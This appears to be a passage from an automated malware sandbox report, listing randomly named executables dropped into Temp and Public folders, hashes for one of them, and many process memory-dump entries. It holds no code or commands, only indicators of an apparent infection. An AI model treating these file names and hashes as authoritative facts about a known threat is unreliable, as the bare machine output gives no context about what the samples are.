-
\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
-
\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
-
\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
-
\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
-
\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
-
\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
-
\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
-
\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
-
\Users\Admin\AppData\Local\Temp\RBabUs54Us.exeMD5
013db621a3351e3fb049efd2ccad79ff
SHA1a23394ea54dbc5342a77938a2c285ee616185560
SHA256df1bda6183201e4dc1bc6f6425361a565413e71f09da0648b0c82b39786af27a
SHA5121bf6d076677b234c9da7cbc720fc64632b587b4223b5370a7ca3d53c4d59fa59ef117957b1646c92ba80dac332f6c1c313060d35de7236b2585e5bed00d79229
-
\Users\Admin\AppData\Local\Temp\axcsdfa.exe
-
\Users\Admin\AppData\Local\Temp\axcsdfa.exe
-
\Users\Admin\AppData\Local\Temp\eYPP1oZQ1b.exe
-
\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe
-
\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe
-
\Users\Public\ewd.exe
-
\Users\Public\msr.exe
-
\Users\Public\msr.exe
-
\Users\Public\zkh.exe
-
\Users\Public\zkh.exe
-
\Users\Public\zkh.exe
-
memory/328-316-0x0000000000417A8B-mapping.dmp
-
memory/328-315-0x0000000000400000-0x0000000000434000-memory.dmpFilesize
208KB
-
memory/328-318-0x0000000000400000-0x0000000000434000-memory.dmpFilesize
208KB
-
memory/560-383-0x0000000000000000-mapping.dmp
-
memory/560-386-0x0000000002450000-0x0000000002451000-memory.dmpFilesize
4KB
-
memory/560-389-0x0000000005430000-0x0000000005431000-memory.dmpFilesize
4KB
-
memory/560-385-0x00000000714B0000-0x0000000071B9E000-memory.dmpFilesize
6.9MB
-
memory/560-388-0x0000000002780000-0x0000000002781000-memory.dmpFilesize
4KB
-
memory/560-387-0x0000000004A80000-0x0000000004A81000-memory.dmpFilesize
4KB
-
memory/800-414-0x0000000005440000-0x0000000005441000-memory.dmpFilesize
4KB
-
memory/800-406-0x0000000000000000-mapping.dmp
-
memory/800-412-0x0000000004840000-0x0000000004841000-memory.dmpFilesize
4KB
-
memory/800-413-0x0000000005320000-0x0000000005321000-memory.dmpFilesize
4KB
-
memory/800-410-0x00000000714B0000-0x0000000071B9E000-memory.dmpFilesize
6.9MB
-
memory/800-411-0x00000000024A0000-0x00000000024A1000-memory.dmpFilesize
4KB
-
memory/848-29-0x0000000000000000-mapping.dmp
-
memory/936-679-0x0000000000000000-mapping.dmp
-
memory/952-667-0x0000000000000000-mapping.dmp
-
memory/980-308-0x0000000000000000-mapping.dmp
-
memory/992-15-0x0000000000000000-mapping.dmp
-
memory/1040-401-0x0000000000000000-mapping.dmp
-
memory/1076-36-0x00000000048E0000-0x00000000048E1000-memory.dmpFilesize
4KB
-
memory/1076-34-0x00000000022E0000-0x00000000022E1000-memory.dmpFilesize
4KB
-
memory/1076-12-0x0000000000000000-mapping.dmp
-
memory/1076-56-0x0000000005340000-0x0000000005341000-memory.dmpFilesize
4KB
-
memory/1076-50-0x0000000004710000-0x0000000004711000-memory.dmpFilesize
4KB
-
memory/1076-22-0x00000000714B0000-0x0000000071B9E000-memory.dmpFilesize
6.9MB
-
memory/1084-27-0x0000000000000000-mapping.dmp
-
memory/1108-674-0x0000000000000000-mapping.dmp
-
memory/1248-396-0x0000000000630000-0x0000000000635000-memory.dmpFilesize
20KB
-
memory/1248-398-0x00000000005D0000-0x00000000005E0000-memory.dmpFilesize
64KB
-
memory/1248-380-0x0000000000600000-0x0000000000612000-memory.dmpFilesize
72KB
-
memory/1248-362-0x0000000000000000-mapping.dmp
-
memory/1248-365-0x00000000714B0000-0x0000000071B9E000-memory.dmpFilesize
6.9MB
-
memory/1248-372-0x00000000008B0000-0x00000000008B1000-memory.dmpFilesize
4KB
-
memory/1248-378-0x0000000000480000-0x0000000000481000-memory.dmpFilesize
4KB
-
memory/1248-403-0x0000000004C40000-0x0000000004C42000-memory.dmpFilesize
8KB
-
memory/1332-301-0x0000000000000000-mapping.dmp
-
memory/1400-307-0x0000000000000000-mapping.dmp
-
memory/1420-38-0x00000000714B0000-0x0000000071B9E000-memory.dmpFilesize
6.9MB
-
memory/1420-140-0x0000000006600000-0x0000000006601000-memory.dmpFilesize
4KB
-
memory/1420-20-0x0000000000000000-mapping.dmp
-
memory/1480-244-0x0000000006680000-0x0000000006681000-memory.dmpFilesize
4KB
-
memory/1480-41-0x00000000714B0000-0x0000000071B9E000-memory.dmpFilesize
6.9MB
-
memory/1480-216-0x00000000065A0000-0x00000000065A1000-memory.dmpFilesize
4KB
-
memory/1480-23-0x0000000000000000-mapping.dmp
-
memory/1480-245-0x0000000006690000-0x0000000006691000-memory.dmpFilesize
4KB
-
memory/1480-199-0x00000000064C0000-0x00000000064C1000-memory.dmpFilesize
4KB
-
memory/1484-673-0x0000000000230000-0x0000000000231000-memory.dmpFilesize
4KB
-
memory/1484-663-0x00000000000D0000-0x00000000000D1000-memory.dmpFilesize
4KB
-
memory/1484-675-0x0000000000000000-mapping.dmp
-
memory/1484-666-0x0000000000110000-0x0000000000111000-memory.dmpFilesize
4KB
-
memory/1484-664-0x0000000000000000-mapping.dmp
-
memory/1484-668-0x0000000000000000-mapping.dmp
-
memory/1484-671-0x0000000000000000-mapping.dmp
-
memory/1488-39-0x00000000714B0000-0x0000000071B9E000-memory.dmpFilesize
6.9MB
-
memory/1488-64-0x00000000062D0000-0x00000000062D1000-memory.dmpFilesize
4KB
-
memory/1488-30-0x0000000000000000-mapping.dmp
-
memory/1488-69-0x0000000006310000-0x0000000006311000-memory.dmpFilesize
4KB
-
memory/1488-82-0x0000000006500000-0x0000000006501000-memory.dmpFilesize
4KB
-
memory/1488-77-0x00000000058B0000-0x00000000058B1000-memory.dmpFilesize
4KB
-
memory/1488-70-0x00000000063B0000-0x00000000063B1000-memory.dmpFilesize
4KB
-
memory/1544-8-0x0000000000000000-mapping.dmp
-
memory/1552-177-0x000000000043FCC3-mapping.dmp
-
memory/1552-296-0x0000000000000000-mapping.dmp
-
memory/1568-202-0x0000000000000000-mapping.dmp
-
memory/1580-18-0x0000000000000000-mapping.dmp
-
memory/1584-17-0x0000000000000000-mapping.dmp
-
memory/1592-369-0x0000000000000000-mapping.dmp
-
memory/1604-348-0x000000000041A684-mapping.dmp
-
memory/1604-347-0x0000000000400000-0x0000000000420000-memory.dmpFilesize
128KB
-
memory/1604-350-0x0000000000400000-0x0000000000420000-memory.dmpFilesize
128KB
-
memory/1712-356-0x00000000010C0000-0x00000000010C1000-memory.dmpFilesize
4KB
-
memory/1712-405-0x0000000000510000-0x0000000000533000-memory.dmpFilesize
140KB
-
memory/1712-352-0x0000000000000000-mapping.dmp
-
memory/1712-407-0x0000000000540000-0x0000000000564000-memory.dmpFilesize
144KB
-
memory/1712-355-0x00000000714B0000-0x0000000071B9E000-memory.dmpFilesize
6.9MB
-
memory/1720-678-0x0000000000000000-mapping.dmp
-
memory/1788-262-0x00000000026B0000-0x00000000026B4000-memory.dmpFilesize
16KB
-
memory/1788-248-0x0000000000000000-mapping.dmp
-
memory/1804-0-0x0000000000000000-mapping.dmp
-
memory/1868-185-0x00000000066C0000-0x00000000066C1000-memory.dmpFilesize
4KB
-
memory/1868-31-0x0000000000000000-mapping.dmp
-
memory/1868-40-0x00000000714B0000-0x0000000071B9E000-memory.dmpFilesize
6.9MB
-
memory/1872-5-0x0000000000000000-mapping.dmp
-
memory/1872-4-0x0000000000000000-mapping.dmp
-
memory/1892-11-0x0000000000000000-mapping.dmp
-
memory/1928-10-0x0000000000000000-mapping.dmp
-
memory/2016-306-0x0000000000000000-mapping.dmp
-
memory/2044-21-0x00000000714B0000-0x0000000071B9E000-memory.dmpFilesize
6.9MB
-
memory/2044-13-0x0000000000000000-mapping.dmp
-
memory/2124-172-0x0000000000417A8B-mapping.dmp
-
memory/2208-343-0x0000000000000000-mapping.dmp
-
memory/2212-182-0x000000000041A684-mapping.dmp
-
memory/2224-681-0x0000000000000000-mapping.dmp
-
memory/2356-189-0x00000000714B0000-0x0000000071B9E000-memory.dmpFilesize
6.9MB
-
memory/2356-187-0x0000000000000000-mapping.dmp
-
memory/2372-300-0x0000000000000000-mapping.dmp
-
memory/2400-192-0x0000000000000000-mapping.dmp
-
memory/2476-382-0x0000000004C70000-0x0000000004C72000-memory.dmpFilesize
8KB
-
memory/2476-379-0x0000000000620000-0x0000000000631000-memory.dmpFilesize
68KB
-
memory/2476-377-0x0000000000610000-0x0000000000611000-memory.dmpFilesize
4KB
-
memory/2476-381-0x00000000006B0000-0x00000000006B3000-memory.dmpFilesize
12KB
-
memory/2476-254-0x0000000000400000-0x0000000000493000-memory.dmpFilesize
588KB
-
memory/2476-367-0x0000000000000000-mapping.dmp
-
memory/2476-250-0x0000000000400000-0x0000000000493000-memory.dmpFilesize
588KB
-
memory/2476-251-0x000000000043FCC3-mapping.dmp
-
memory/2476-374-0x0000000001010000-0x0000000001011000-memory.dmpFilesize
4KB
-
memory/2476-371-0x00000000714B0000-0x0000000071B9E000-memory.dmpFilesize
6.9MB
-
memory/2496-104-0x0000000000000000-mapping.dmp
-
memory/2532-112-0x000007FEF6880000-0x000007FEF6AFA000-memory.dmpFilesize
2.5MB
-
memory/2544-207-0x0000000000000000-mapping.dmp
-
memory/2588-110-0x0000000000000000-mapping.dmp
-
memory/2588-228-0x000000000041A684-mapping.dmp
-
memory/2628-117-0x0000000000000000-mapping.dmp
-
memory/2652-123-0x0000000000417A8B-mapping.dmp
-
memory/2652-128-0x0000000000400000-0x0000000000439000-memory.dmpFilesize
228KB
-
memory/2652-122-0x0000000000400000-0x0000000000439000-memory.dmpFilesize
228KB
-
memory/2676-662-0x0000000000000000-mapping.dmp
-
memory/2680-220-0x000000000043FCC3-mapping.dmp
-
memory/2684-129-0x000000000043FCC3-mapping.dmp
-
memory/2684-131-0x0000000000400000-0x0000000000498000-memory.dmpFilesize
608KB
-
memory/2684-127-0x0000000000400000-0x0000000000498000-memory.dmpFilesize
608KB
-
memory/2720-376-0x0000000000000000-mapping.dmp
-
memory/2744-134-0x0000000000400000-0x0000000000425000-memory.dmpFilesize
148KB
-
memory/2744-135-0x000000000041A684-mapping.dmp
-
memory/2744-137-0x0000000000400000-0x0000000000425000-memory.dmpFilesize
148KB
-
memory/2748-325-0x0000000000A70000-0x0000000000A71000-memory.dmpFilesize
4KB
-
memory/2748-344-0x00000000006B0000-0x00000000006D4000-memory.dmpFilesize
144KB
-
memory/2748-327-0x0000000000400000-0x0000000000401000-memory.dmpFilesize
4KB
-
memory/2748-324-0x0000000073180000-0x000000007386E000-memory.dmpFilesize
6.9MB
-
memory/2748-321-0x0000000000000000-mapping.dmp
-
memory/2840-670-0x0000000000000000-mapping.dmp
-
memory/2852-676-0x0000000000000000-mapping.dmp
-
memory/2860-235-0x0000000000417A8B-mapping.dmp
-
memory/2880-680-0x0000000000000000-mapping.dmp
-
memory/2900-243-0x0000000004400000-0x00000000044B0000-memory.dmpFilesize
704KB
-
memory/2900-249-0x0000000000C90000-0x0000000000C9D000-memory.dmpFilesize
52KB
-
memory/2900-146-0x0000000000000000-mapping.dmp
-
memory/2900-150-0x00000000714B0000-0x0000000071B9E000-memory.dmpFilesize
6.9MB
-
memory/2900-154-0x0000000000F40000-0x0000000000F41000-memory.dmpFilesize
4KB
-
memory/2920-152-0x0000000000000000-mapping.dmp
-
memory/2940-323-0x0000000002650000-0x0000000002654000-memory.dmpFilesize
16KB
-
memory/2940-311-0x0000000000000000-mapping.dmp
-
memory/2964-302-0x000000000043FCC3-mapping.dmp
-
memory/2996-342-0x0000000000000000-mapping.dmp
-
memory/3008-417-0x0000000002F80000-0x0000000002FCC000-memory.dmpFilesize
304KB
-
memory/3008-672-0x0000000010530000-0x000000001054A000-memory.dmpFilesize
104KB
-
memory/3008-359-0x0000000000000000-mapping.dmp
-
memory/3008-658-0x0000000050480000-0x000000005049A000-memory.dmpFilesize
104KB
-
memory/3012-268-0x0000000000290000-0x0000000000291000-memory.dmpFilesize
4KB
-
memory/3012-264-0x0000000001090000-0x0000000001091000-memory.dmpFilesize
4KB
-
memory/3012-261-0x00000000714B0000-0x0000000071B9E000-memory.dmpFilesize
6.9MB
-
memory/3012-310-0x0000000000B00000-0x0000000000B51000-memory.dmpFilesize
324KB
-
memory/3012-259-0x0000000000000000-mapping.dmp
-
memory/3028-160-0x0000000000000000-mapping.dmp
-
memory/3060-165-0x0000000000000000-mapping.dmp
-
memory/3064-551-0x0000000000000000-mapping.dmp
-
memory/3064-579-0x0000000000000000-mapping.dmp
-
memory/3064-461-0x0000000000000000-mapping.dmp
-
memory/3064-463-0x0000000000000000-mapping.dmp
-
memory/3064-465-0x0000000000000000-mapping.dmp
-
memory/3064-467-0x0000000000000000-mapping.dmp
-
memory/3064-469-0x0000000000000000-mapping.dmp
-
memory/3064-471-0x0000000000000000-mapping.dmp
-
memory/3064-473-0x0000000000000000-mapping.dmp
-
memory/3064-475-0x0000000000000000-mapping.dmp
-
memory/3064-477-0x0000000000000000-mapping.dmp
-
memory/3064-479-0x0000000000000000-mapping.dmp
-
memory/3064-481-0x0000000000000000-mapping.dmp
-
memory/3064-483-0x0000000000000000-mapping.dmp
-
memory/3064-485-0x0000000000000000-mapping.dmp
-
memory/3064-487-0x0000000000000000-mapping.dmp
-
memory/3064-489-0x0000000000000000-mapping.dmp
-
memory/3064-491-0x0000000000000000-mapping.dmp
-
memory/3064-493-0x0000000000000000-mapping.dmp
-
memory/3064-495-0x0000000000000000-mapping.dmp
-
memory/3064-497-0x0000000000000000-mapping.dmp
-
memory/3064-499-0x0000000000000000-mapping.dmp
-
memory/3064-501-0x0000000000000000-mapping.dmp
-
memory/3064-503-0x0000000000000000-mapping.dmp
-
memory/3064-505-0x0000000000000000-mapping.dmp
-
memory/3064-507-0x0000000000000000-mapping.dmp
-
memory/3064-509-0x0000000000000000-mapping.dmp
-
memory/3064-511-0x0000000000000000-mapping.dmp
-
memory/3064-513-0x0000000000000000-mapping.dmp
-
memory/3064-515-0x0000000000000000-mapping.dmp
-
memory/3064-517-0x0000000000000000-mapping.dmp
-
memory/3064-519-0x0000000000000000-mapping.dmp
-
memory/3064-521-0x0000000000000000-mapping.dmp
-
memory/3064-523-0x0000000000000000-mapping.dmp
-
memory/3064-525-0x0000000000000000-mapping.dmp
-
memory/3064-527-0x0000000000000000-mapping.dmp
-
memory/3064-529-0x0000000000000000-mapping.dmp
-
memory/3064-531-0x0000000000000000-mapping.dmp
-
memory/3064-533-0x0000000000000000-mapping.dmp
-
memory/3064-535-0x0000000000000000-mapping.dmp
-
memory/3064-537-0x0000000000000000-mapping.dmp
-
memory/3064-539-0x0000000000000000-mapping.dmp
-
memory/3064-541-0x0000000000000000-mapping.dmp
-
memory/3064-543-0x0000000000000000-mapping.dmp
-
memory/3064-545-0x0000000000000000-mapping.dmp
-
memory/3064-547-0x0000000000000000-mapping.dmp
-
memory/3064-549-0x0000000000000000-mapping.dmp
-
memory/3064-457-0x0000000000000000-mapping.dmp
-
memory/3064-553-0x0000000000000000-mapping.dmp
-
memory/3064-555-0x0000000000000000-mapping.dmp
-
memory/3064-557-0x0000000000000000-mapping.dmp
-
memory/3064-559-0x0000000000000000-mapping.dmp
-
memory/3064-561-0x0000000000000000-mapping.dmp
-
memory/3064-563-0x0000000000000000-mapping.dmp
-
memory/3064-565-0x0000000000000000-mapping.dmp
-
memory/3064-567-0x0000000000000000-mapping.dmp
-
memory/3064-569-0x0000000000000000-mapping.dmp
-
memory/3064-571-0x0000000000000000-mapping.dmp
-
memory/3064-573-0x0000000000000000-mapping.dmp
-
memory/3064-575-0x0000000000000000-mapping.dmp
-
memory/3064-577-0x0000000000000000-mapping.dmp
-
memory/3064-459-0x0000000000000000-mapping.dmp
-
memory/3064-581-0x0000000000000000-mapping.dmp
-
memory/3064-583-0x0000000000000000-mapping.dmp
-
memory/3064-585-0x0000000000000000-mapping.dmp
-
memory/3064-587-0x0000000000000000-mapping.dmp
-
memory/3064-589-0x0000000000000000-mapping.dmp
-
memory/3064-591-0x0000000000000000-mapping.dmp
-
memory/3064-593-0x0000000000000000-mapping.dmp
-
memory/3064-595-0x0000000000000000-mapping.dmp
-
memory/3064-597-0x0000000000000000-mapping.dmp
-
memory/3064-599-0x0000000000000000-mapping.dmp
-
memory/3064-601-0x0000000000000000-mapping.dmp
-
memory/3064-603-0x0000000000000000-mapping.dmp
-
memory/3064-605-0x0000000000000000-mapping.dmp
-
memory/3064-607-0x0000000000000000-mapping.dmp
-
memory/3064-609-0x0000000000000000-mapping.dmp
-
memory/3064-611-0x0000000000000000-mapping.dmp
-
memory/3064-613-0x0000000000000000-mapping.dmp
-
memory/3064-615-0x0000000000000000-mapping.dmp
-
memory/3064-617-0x0000000000000000-mapping.dmp
-
memory/3064-619-0x0000000000000000-mapping.dmp
-
memory/3064-621-0x0000000000000000-mapping.dmp
-
memory/3064-623-0x0000000000000000-mapping.dmp
-
memory/3064-625-0x0000000000000000-mapping.dmp
-
memory/3064-627-0x0000000000000000-mapping.dmp
-
memory/3064-629-0x0000000000000000-mapping.dmp
-
memory/3064-631-0x0000000000000000-mapping.dmp
-
memory/3064-633-0x0000000000000000-mapping.dmp
-
memory/3064-635-0x0000000000000000-mapping.dmp
-
memory/3064-637-0x0000000000000000-mapping.dmp
-
memory/3064-639-0x0000000000000000-mapping.dmp
-
memory/3064-641-0x0000000000000000-mapping.dmp
-
memory/3064-643-0x0000000000000000-mapping.dmp
-
memory/3064-645-0x0000000000000000-mapping.dmp
-
memory/3064-647-0x0000000000000000-mapping.dmp
-
memory/3064-649-0x0000000000000000-mapping.dmp
-
memory/3064-651-0x0000000000000000-mapping.dmp
-
memory/3064-653-0x0000000000000000-mapping.dmp
-
memory/3064-655-0x0000000000000000-mapping.dmp
-
memory/3064-657-0x0000000000000000-mapping.dmp
-
memory/3064-455-0x0000000000000000-mapping.dmp
-
memory/3064-659-0x0000000003C80000-0x0000000003C81000-memory.dmpFilesize
4KB
-
memory/3064-660-0x0000000000000000-mapping.dmp
-
memory/3064-453-0x0000000000000000-mapping.dmp
-
memory/3064-451-0x0000000000000000-mapping.dmp
-
memory/3064-449-0x0000000000000000-mapping.dmp
-
memory/3064-447-0x0000000000000000-mapping.dmp
-
memory/3064-445-0x0000000000000000-mapping.dmp
-
memory/3064-443-0x0000000000000000-mapping.dmp
-
memory/3064-441-0x0000000000000000-mapping.dmp
-
memory/3064-439-0x0000000000000000-mapping.dmp
-
memory/3064-437-0x0000000000000000-mapping.dmp
-
memory/3064-435-0x0000000000000000-mapping.dmp
-
memory/3064-433-0x0000000000000000-mapping.dmp
-
memory/3064-431-0x0000000000000000-mapping.dmp
-
memory/3064-429-0x0000000000000000-mapping.dmp
-
memory/3064-427-0x0000000000000000-mapping.dmp
-
memory/3064-425-0x0000000000000000-mapping.dmp
-
memory/3064-423-0x0000000000000000-mapping.dmp
-
memory/3064-421-0x0000000000000000-mapping.dmp
-
memory/3064-420-0x00000000000E0000-0x00000000000E1000-memory.dmpFilesize
4KB
-
memory/3064-419-0x0000000000000000-mapping.dmp
-
memory/3064-418-0x00000000000A0000-0x00000000000A1000-memory.dmpFilesize
4KB